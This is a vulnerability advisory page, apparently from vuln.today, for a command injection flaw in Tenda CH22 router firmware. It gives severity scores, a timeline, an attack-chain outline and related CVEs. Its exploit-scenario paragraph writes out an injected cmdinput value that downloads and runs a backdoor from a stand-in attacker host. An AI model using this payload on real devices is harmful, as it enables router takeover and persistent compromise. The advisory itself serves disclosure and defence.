Skip to main content

Tenda CH22 EUVDEUVD-2026-64666

| CVE-2026-78141 LOW
Command Injection (CWE-77)
2026-08-23 VulDB GHSA-9mvp-7535-p7rw
Tenda Command Injection Ch22
2.1
CVSS 4.0 · Vendor: VulDB

Severity by source

Vendor (VulDB) PRIMARY
2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.9 CRITICAL

Network-reachable command injection on embedded Linux runs as root, yielding full C/I/A impact with scope change; PR:L reflects required low-privilege authentication per CVSS 4.0 input.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

4
Severity Changed
Aug 23, 2026 - 22:22 NVD
MEDIUM LOW
CVSS changed
Aug 23, 2026 - 22:22 NVD
5.3 (MEDIUM) 2.1 (LOW)
Analysis Generated
Aug 23, 2026 - 22:16 vuln.today
CVE Published
Aug 23, 2026 - 21:45 cve.org
MEDIUM 5.3

DescriptionCVE.org

A vulnerability has been found in Tenda CH22 1.0.0.1. This affects the function formexeCommand of the file /goform/exeCommand. The manipulation of the argument cmdinput leads to command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

AnalysisAI

Command injection in Tenda CH22 firmware version 1.0.0.1 allows a low-privileged remote attacker to execute arbitrary OS-level commands via the cmdinput parameter of the /goform/exeCommand endpoint. The underlying formexeCommand function passes user-controlled input to a system command without adequate sanitization, exposing the router's underlying Linux OS. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify Tenda CH22 with exposed admin interface
Delivery
Authenticate with default or brute-forced credentials
Exploit
Submit crafted cmdinput payload to /goform/exeCommand
Execution
Inject shell metacharacters to escape command context
Impact
Execute arbitrary OS commands as router daemon
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Exploitation requires low-privilege authenticated access to the Tenda CH22 web administration interface (CVSS 4.0 PR:L), meaning an attacker must possess valid credentials - however, SOHO routers frequently retain factory-default credentials (admin/admin or similar), significantly lowering this bar in practice. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N with all impacts at Low) yields a score of 5.3, which appears inconsistently low for a network-reachable command injection vulnerability on a router - typically the most privileged execution context on the device. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with low-privilege credentials to the Tenda CH22 web interface - or exploiting default/weak credentials common on SOHO routers - sends a crafted POST request to /goform/exeCommand with a shell metacharacter-injected cmdinput value such as ping 127.0.0.1; wget http://attacker.com/backdoor -O /tmp/bd; chmod +x /tmp/bd; /tmp/bd. A public proof-of-concept demonstrating this technique has been disclosed, meaning exploitation requires minimal technical skill. …
Remediation No vendor-released patch or official advisory has been identified at time of analysis - all references point to VulDB and a third-party POC disclosure, with no patched firmware version confirmed. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Ch22

View all
CVE-2026-5604 HIGH POC
7.4 Apr 05

Stack-based buffer overflow in Tenda CH22 router firmware version 1.0.0.1 allows authenticated remote attackers to execu
CVE-2026-5204 HIGH POC
7.4 Mar 31

Stack-based buffer overflow in Tenda CH22 router version 1.0.0.1 allows authenticated remote attackers to achieve arbitr
CVE-2026-5605 HIGH POC
7.4 Apr 05

Stack-based buffer overflow in Tenda CH22 router firmware version 1.0.0.1 allows authenticated remote attackers to achie
CVE-2026-15543 HIGH POC
7.4 Jul 13

Buffer overflow in the Tenda CH22 router (firmware 1.0.0.1) allows a remote, authenticated attacker to corrupt memory by
CVE-2026-78063 LOW POC
2.1 Aug 23

Command injection in Tenda CH22 version 1.0.0.1 allows a remote low-privileged attacker to execute arbitrary OS commands
CVE-2026-77031 LOW POC
2.1 Aug 20

Command injection in Tenda CH22 firmware 1.0.0.1 allows low-privileged remote attackers to execute arbitrary OS commands

Same weakness CWE-77 – Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2015-2051 HIGH POC
8.8
CVE-2017-6327 HIGH POC
8.8
CVE-2023-34960 CRITICAL POC
9.8
CVE-2023-37679 CRITICAL POC
9.8

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8

Share

EUVD-2026-64666 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy